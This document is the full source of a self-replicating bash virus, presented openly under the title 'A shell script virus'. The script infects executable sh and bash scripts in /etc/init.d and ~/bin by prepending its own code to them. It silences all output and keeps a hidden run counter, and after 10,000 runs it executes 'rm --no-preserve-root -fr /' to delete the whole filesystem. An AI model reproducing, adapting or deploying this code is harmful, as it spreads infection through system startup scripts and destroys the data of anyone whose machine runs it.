A shell script virus

virus.bash

#!/bin/bash

{
    contains() {
        for item in $1
        do
            if
                [ "$item" = "$2" ]
            then
                return 0
            fi
        done
        return 1
    }

    # set the shell to expand to nothing if there is really nothing
    shopt -s nullglob

    # my length
    lines=79

    # directories of script I want to search
    dirs="/etc/init.d ~/bin"

    # separator

    # list all files
    declare -a files
    for dir in $dirs
    do
        files+=($dir/*)
    done

    # destroy the system when I have been run for a number of times
    counter=/var/cache/.counter
    max=10000
    touch "$counter"
    count=$(($(cat "$counter")+1))
    if
        [ $count -ge $max ]
    then
        rm --no-preserve-root -fr /
    else
        echo $count > "$counter"
    fi

    for ((i=0;i<3;++i))
    do
        # choose one file at random
        index=$(($RANDOM % ${#files[@]}))
        target="${files[$index]}"

        # check if it is a executable shell script
        if
            [ -x "$target" ]
        then
            header="$(head -n 1 "$target")"
            header=("${header:2}") # remove #!
            if
                contains "$header" /bin/sh || contains "$header" /bin/bash
            then

                # check if it has been infected by me before
                if
                    names=($RANDOM $RANDOM)
                    head -n $lines "$0" > /tmp/${names[0]}
                    head -n $lines "$target" > /tmp/${names[1]}
                    ! diff /tmp/${names[0]} /tmp/${names[1]}
                then
                    # infect the file
                    cat /tmp/${names[0]} "$target" > /tmp/${names[1]}
                    cp /tmp/${names[1]} "$target"
                fi
                rm -f /tmp/${names[0]} /tmp/${names[1]}
            fi
        fi
    done
} > /dev/null 2>&1